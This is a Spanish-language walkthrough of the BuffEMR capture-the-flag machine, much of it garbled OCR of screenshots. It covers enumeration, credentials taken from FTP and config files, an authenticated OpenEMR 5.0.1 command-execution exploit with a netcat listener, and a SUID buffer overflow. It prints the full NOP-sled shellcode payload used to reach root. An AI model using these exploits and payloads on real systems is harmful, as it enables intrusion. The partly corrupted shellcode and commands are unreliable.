BuffEMR

1. Enumeracion

Para saber la IP de la maquina a la que nos vamos a enfrentar, tenemos que ejecutar el
comando arp-scan. En este caso, 192.168.237.129

Ahora que sabemos la IP, realizamos un Ping a la maquina victima. Parece que estamos ante
una maquina Linux.

/home/parrot/HTB/buffemr X1
-c 1

Realizamos un escaneo exhaustivo para conocer los servicios y version correspondientes a los
puertos abiertos que presenta la mdquina victima.
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ftp-anon FTP login allowed (FTP code
_drwxr-xr-x 0 0 4 2
ftp-syst:
STAT:
FTP server status:
1

1096 Jun 21 2021 share

No session bandwidth limit
1 timeout seconds is 300
connection is plain text
connections will be plain text
At session startup, client count was 2
vsFTPd 0 secure, fast, stable
_End of status
22/tcp open ssh SH 7.6p1 L tu 4ubuntu@.3 (UL u Linux; protocol 2.0)
ssh-hostkey:
p 4c

5 cb:1c:d9:5
pe http

_ orted Metho
http-server-heade

Address: 00:0C e
cpe:/o:linux:linux_kernel

data files from: /usr/bin/../share/nmap
e detection performed. P report any incorrect results at https: ap.org/submit/ .

Si revisamos el codename, vemos que estamos ante una versidon de Ubuntu Bionic.

Ubuntu

openssh package

EEF™ coce Bugs  Blueprints  Translations  Answers
openssh 1:7.6p1-4ubuntu0.3 source package in Ubuntu

Changelog

openssh (1:7.6pl-4ubuntu@.3) bionic-security; urgency=medium

+ SECURITY UPDATE: -
- debian/patches/CVE-2819-6111-2.patch: add another fix to the filename
check in sep.c.
CVE-26813-5111
= Fixed inverted CVE numbers in patch filenames and in previous
changelog.

- Marc Deslauriers <email address hidden> Men, 84 Mar 2819 @7:17:51 -B588

Upload details

Uploaded by: Uploaded to:
& narc Deslauriers on 2019-03-04 Bionic

Original maintainer: Architectures:
& ubuntu Developers anyall

Section: Urgency:

net Medium Urgency

2. Analisis de vulnerabilidades

Lo primero que vemos es que esta abierto el puerto 21 (FTP) y permite logarnos de forma
andénima. Nos descargamos el contenido de la siguiente forma:

e wget -r ftp://anonymous@192.168.237.129

Si revisamos el contenido, vemos un directorio llamado “openemr”.
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Abrimos un navegador y revisamos el contenido de la pagina web que la maquina, en el puerto
80, esta sirviendo. Es la pagina por defecto de Apache. Revisamos el cédigo fuente, pero no
vemos nada de interés.

QO & 192.168.237.129

Apache2 Ubuntu Default Page

It works!

Configuration Overview
Ubuntu' efau n n ferent from the up
into s or n with Ubuntu TF
n /usr/share/doc/apache2/README.Debian.gz. Refer to th
or the w S

Puede ser que el contenido de la web, esté siendo compartido por el servicio de FTP. Intentamos
acceder http://192.168.237.129/openemr/ y vemos la web. Probamos las credenciales por
defecto y no funcionan. Probamos otras tipicas y tampoco.

Q OPEhENR

Username:

Password:

Language:

Default - English (Standard) v

% Login

Acknowledgments, Licensing and Certification

Con el comando “tree” exploramos el directorio que nos hemos descargado.
e tree-L3192.168.237.129

Nos llama la atencién un directorio test. Investigamos su contenido.
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http://192.168.237.129/openemr/

te

st ounts

/home/parrot/HTB/buffemr/content/192.168.237.129/share p 1m 335 2
Sopenemr/tests ' i

.accounts
this is a test admin account:

admin:Monster123

e Usuario: admin
e Monsterl23

Con estas credenciales, ganamos acceso al aplicativo.

i O A o+ 192.168.237.129
Calendar FlowBoard Recall Board Messages Patient/Client Fees Modules Procedures Administration Reports Miscellaneous  Popups ~ About

Patient: None

Si navegamos hasta “about” podemos ver la version a la que nos estamos enfrentando.

rts Miscellaneous Popups About

About OpenEMR

Version Number: v5.0.1 (3)

3. Explotacion e intrusion

Si buscamos vulnerabilidades conocidas de esa version, tenemos una via potencial de ejecutar
comandos, estando autenticados.

/home/parrot/HTB/buffemr
45161

Nos ponemos en escucha con NC.
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Realizamos el tratamiento de la TTY habitual y realizamos una exploracién del sistema.
Consultando que usuario somos, vemos que somos www-data y no pertenecemos a ningun
grupo interesante.

Comprobamos si tenemos privilegios de sudo, pero nos pide credenciales que de momento no
tenemos.

Comprobamos las “capabilities” disponibles, pero tampoco vemos nada que nos llame la
atencion.

cap_net_bind_service,cap_net_admin+ep
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Si consultamos el /etc/passwd, vemos que existe un usuario llamado “buffemr”. Vamos a ver si
se acontece un reaprovechamiento de credenciales. Probamos con ssh a conectarnos con el
usuario “buffemr” y la clave “Monster123”, que obtuvimos anteriormente. Pero no funciona.

Miramos los puertos abiertos, por si podemos aprovecharnos de algun servicio que esté
corriendo, pero que no esté expuesto externamente. Vemos que esta corriendo MySQL.

Revisamos el contenido que nos descargamos por FTP, para ver si tenemos credenciales.

/home/parrot/HTB/buffemr/content/192.168.237.129/share

Revisamos cada fichero hasta que llegamos a “./openemr/sites/default/sqlconf.php”.
Conseguimos unas nuevas credenciales.

conf. php

$port
$login
$pass
$dbase

e Usuario: openemruser
e Clave: openemruser123456

Como no, intentamos ver de nuevo si se reaprovechan las credenciales, con el usuario
“buffemr”, pero seguimos sin poder conectarnos por SSH.

Nos conectamos al servicio de MySQL con dichas credenciales.

o clear the current input statement.
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Decodificamos esa password, que esta en base64 obteniendo: san3ncrypt3d

Probamos por si se trata de la contrasefia de “buffemr”, pero no. Revisamos el arbol de
directorios y encontramos un fichero sospechoso.

Nos traemos el fichero a nuestra maquina atacante con netcat. Probamos a descomprimir el
fichero con la clave san3ncrypt3d, pero no funciona. Lo intentamos con la clave sin decodificar
(c2FuM25jcnlwdDNkCg==).

Revisamos el contenido del fichero.

Fi
This fils ain senstive information, therefore, should be always encrypted at rest.
buffemr - Iamgreet

only I can SSH in *

Usuario: buffemr
Clave: lamgr0O0t

Probamos a conectarnos por SSH y ganamos acceso como buffemr.
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4. Escalada de privilegios
Revisamos ficheros con privilegios, y encontramos un fichero interesante.

/ -perm -4000

dontexecute

Si lo ejecutamos, con un pardmetro muy largo, vemos que el programade un error no
controlado. Quiza se acontezca un BOF.

enrgbuffen

Nos traemos el fichero a nuestra maquina atacante y comprobamos las protecciones del
sistema. El NX no esta habilitado, por lo que podremos meter instrucciones “shell code”.

buffemr/content

ite

Abrimos el fichero con el programa gdb. Le pasamos un parametro “Hola” y vemos que el
programa termina correctamente.

/home/parrot/HTB/buffemr/content

Ahora tenemos que saber cuanto “junk” (caracteres para sobrescribir el EIP) necesitamos.
Vamos a crearnos un patron con pattern create.

Ejecutamos de nuevo el programa, dentro del debugger gef, con el patrén obtenido. Para
calcular el nimero de caracteres necesarios, podemos ejecutar “pattern offset Seip”.
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D 0x41414141

SUME virtualx

Para evitar los pequenos desajustes de ejecutarlo dentro del gef y fuera, vamos a meternos
NOPs (No Operation Code, x90).

Buscamos un shellcode en Google.

shellcode x32 "bash™ "-p" X D Q
Q Todo [ Imagenes [ Videos ¢ Shopping @ Noticias i Mas Herramientas
Aproximadamente 3.920 resultados (0,35

Sugerencia: Buscar solo resultados en espafiol. Puedes especificar tu idioma de bisqueda en
Preferencias

https:#/shell-storm.org ; files > shell... ~ Traducir esta pagina

Linux/x86 - execve(/bin/bash, [/bin/bash, -p], NULL) - 33 bytes
Title: Linux x86 - execve("/bin/bash”, ["/bin/bash", "-p"], NULL) - 33 bytes ... Database of
Shelleades hitn /iwww shell-storm ora/shelleode! sh sefs (euid

Y nos copiamos el shellcode:

har shellcode[] =|"‘\x6a\xBb\x58 x99 \x52\x66 \x68 \x2d \x78"
"\ x89\xe1\x52 \x6a\ k68 \x68\x2F\x62\x61"
"7 3\ %68\ %2\ 162\ 69 \xbe \xBI \xe3\x52"

"Wac51Ax53\ B9 e L xed \xB8 " ;

Como un una shellcode de 33 bytes, se lo tenemos que restar a los 512. Que nos da 479. Por lo
gue nuestro patrén quedaria de la siguiente forma:

e r$(python3 -c 'print("\x90"*479 +
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2\x62\x61\x73
\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80" + "B"*4)')

Lo ejecutamos ahora en la maquina victima:
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Podemos ver los valores actuales:

Vemos la pila:

Los 0x90909090 son los NOPs que hemos metido. Nuestra shell code empieza a partir de lo
marcado en rojo.

e r$(python -c 'print "\x90"*479 +
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73
\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe 1\xcd\x80" + "\x10\xd6\xFA\xff"')

Vemos que nos ejecuta la bash, y esto es buena sefial. Lo ejecutamos directamente en la shell
y conseguirnos ganar acceso como root.
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